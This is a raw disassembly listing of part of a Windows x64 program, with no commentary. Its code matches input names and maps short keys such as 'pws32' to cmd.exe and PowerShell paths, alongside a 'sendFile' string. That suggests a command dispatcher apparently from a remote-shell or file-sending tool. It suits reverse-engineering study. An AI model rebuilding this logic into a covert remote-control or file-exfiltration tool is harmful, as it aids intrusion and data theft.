jmp 0x14000bfc9
lea rax, [r12 + 0x10]
mov byte [r12 + 0x18], 0
mov qword [r12], rax
movabs rax, 0x656c6946646e6573
mov qword [r12 + 0x10], rax
mov qword [r12 + 8], 8
jmp 0x14000b3b5
mov qword [rsp + 0x20], 0x15
lea r9, str._was_not_recognized.
xor r8d, r8d
mov rdx, rbx
mov rcx, r13
call fcn.1400acba0
jmp 0x14000bd78
cmp rax, 0xffffffff80000000
jl 0x14000b046
test eax, eax
je 0x14000bc60
cmp rsi, 0xa
jbe 0x14000b5c4
jmp 0x14000b050
movdqa xmm4, xmmword [rsp + 0xd0]
movups xmmword [r12 + 0x10], xmm4
jmp 0x14000bdb8
movdqa xmm3, xmmword [rsp + 0xd0]
movups xmmword [r14 + 0x10], xmm3
jmp 0x14000b8d7
lea rdx, [0x1400c45dc]
mov r8, rdi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000c68c
lea rax, [rdi - 3]
mov r8, rdi
test eax, eax
jne 0x14000bf23
lea rax, [rbx + 0x10]
cmp r14, rax
je 0x14000c66a
cmp qword [rbx + 0x10], 0x1a
jbe 0x14000c66a
lea rsi, str.C:WINDOWS_system32cmd.exe
cmp r14, rsi
ja 0x14000c548
lea rax, [r14 + rdi]
cmp rax, rsi
jb 0x14000c548
cmp rdi, 0x1a
jbe 0x14000c722
mov ecx, 0x1b
mov rdi, r14
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbx]
mov qword [rbx + 8], 0x1b
mov byte [rax + 0x1b], 0
mov r14, qword [rbx]
mov rdi, qword [rbx + 8]
jmp 0x14000aef4
test rdi, rdi
je 0x14000aef4
lea rdx, str.pws32
mov r8, rdi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000aef4
lea rax, [rdi - 5]
jmp 0x14000c392
movabs rax, 0x4f444e49575c3a43
mov r9d, 0x7865
mov byte [r14 + 0x1a], 0x65
mov qword [r14], rax
movabs rax, 0x65747379735c5357
mov qword [r14 + 8], rax
movabs rax, 0x2e646d635c32336d
mov qword [r14 + 0x10], rax
mov word [r14 + 0x18], r9w
jmp 0x14000c501
cmp byte [r14 + 2], 0x64
jne 0x14000bf1d
lea rax, [rdi - 3]
cmp rax, 0x7fffffff
jg 0x14000c354
cmp rax, 0xffffffff80000000
jl 0x14000c354
mov r8d, 3
jmp 0x14000c4b8
lea rcx, [rsp + 0x80]
mov r8, r13
mov rdx, r14
call fcn.1400a94a0
mov rcx, qword [rsp + 0xc0]
cmp rcx, rbp
je 0x14000b8ef
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
jmp 0x14000b8ef
mov rsi, rax
xor r14d, r14d
xor edi, edi
jmp 0x14000b850
movabs rax, 0x6f646e69575c3a43
mov qword [r14], rax
movabs rax, 0x65747379535c7377
mov qword [r14 + 8], rax
movabs rax, 0x646e69575c32336d
mov qword [r14 + 0x10], rax
movabs rax, 0x7265776f5073776f
mov qword [r14 + 0x18], rax
movabs rax, 0x31765c6c6c656853
mov qword [r14 + 0x20], rax
movabs rax, 0x7265776f705c302e
mov qword [r14 + 0x28], rax
movabs rax, 0x78652e6c6c656873
mov qword [r14 + 0x30], rax
mov byte [r14 + 0x38], 0x65
jmp 0x14000bfc9
mov qword [rsp + 0x20], 0x1b
lea r9, str.C:WINDOWS_system32cmd.exe
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.1400acba0
jmp 0x14000c501
lea rdx, [0x1400c45fc]
mov r8, rdi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000c51c
lea rax, [rdi - 3]
jmp 0x14000bf56
movabs rax, 0x6f646e69575c3a43
mov qword [r14], rax
movabs rax, 0x4f577379535c7377
mov qword [r14 + 8], rax
movabs rax, 0x646e69575c343657
jmp 0x14000c624
mov qword [rsp + 0x20], 0x39
lea r9, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.1400acba0
jmp 0x14000bfc9
mov qword [rsp + 0x20], 0x39
lea r9, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.1400acba0
jmp 0x14000bfc9
call fcn.1400c0570
lea rdx, [0x1400c45fb]
cmp rax, rdx
jae 0x14000c4f7
cmp rax, rsi
ja 0x14000c77d
mov ecx, 0x1b
mov rax, rcx
sub rax, rdi
mov rdi, r14
add rsi, rax
rep movsb byte [rdi], byte [rsi]
jmp 0x14000c501
sub r8, rsi
mov edi, 0x39
lea r9, [r14 + r8]
sub rdi, r8
cmp r8, 1
je 0x14000c7da
test r8, r8
jne 0x14000c7b2
lea rdx, [r14 + 0x39]
mov r8, rdi
mov rcx, r9
call sub.msvcrt.dll_memcpy
jmp 0x14000bfc9
sub rax, rsi
mov edi, 0x1b
lea r9, [r14 + rax]
sub rdi, rax
cmp rax, 1
mov r8, rax
je 0x14000c87b
test rax, rax
jne 0x14000c7ee
lea rdx, [r14 + 0x1b]
mov r8, rdi
mov rcx, r9
call sub.msvcrt.dll_memcpy
jmp 0x14000c501
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x48], r9
call sub.msvcrt.dll_memcpy
cmp rdi, 1
mov r9, qword [rsp + 0x48]
jne 0x14000c7e0
movzx eax, byte [r14 + 0x39]
mov byte [r9], al
jmp 0x14000bfc9
mov byte [r14], 0x43
jmp 0x14000c769
test rdi, rdi
je 0x14000bfc9
jmp 0x14000c769
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x48], r9
call sub.msvcrt.dll_memcpy
cmp rdi, 1
mov r9, qword [rsp + 0x48]
jne 0x14000c849
movzx eax, byte [r14 + 0x1b]
mov byte [r9], al
jmp 0x14000c501
lea rcx, [0x1400c437e]
call fcn.1400c0760
mov r9, qword [rsp + 0x48]
mov r8, rdi
lea rdx, [0x1400c45c7]
lea rcx, [0x1400c42d8]
call fcn.1400bac90
lea rcx, [0x1400c437e]
call fcn.1400c0760
test rdi, rdi
je 0x14000c501
jmp 0x14000c79e
lea rcx, [0x1400c41f0]
call fcn.1400c0670
lea rcx, [0x1400c41d3]
call fcn.1400c0760
lea rcx, [0x1400c41d3]
call fcn.1400c0760
mov byte [r14], 0x43
jmp 0x14000c79e
mov rsi, rdi
jmp 0x14000c265
xor r14d, r14d
xor esi, esi
xor edi, edi
jmp 0x14000b850
lea rcx, [0x1400c41f0]
call fcn.1400c0670
lea rcx, [0x1400c437e]
call fcn.1400c0760
mov rcx, qword [rsp + 0xc0]
mov r12, rax
cmp rcx, rbp
je 0x14000c8d1
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, r12
call fcn.14001b780
mov rcx, qword [rsp + 0xc0]
mov r12, rax
cmp rcx, rbp
je 0x14000c8fa
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, qword [rsp + 0xa0]
cmp rcx, qword [rsp + 0x50]
je 0x14000c91a
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.1400bf650
mov r13, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rbx, r13
cmp rsi, rbx
je 0x14000c9d5
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x14000c94f
mov rax, qword [rbx + 0x10]
lea rdx, [rax + 1]
call fcn.1400bf650
add rbx, 0x20
jmp 0x14000c92d
mov rdx, qword [rsp + 0x90]
sub rdx, r13
test r13, r13
je 0x14000c8d1
mov rcx, r13
call fcn.1400bf650
jmp 0x14000c8d1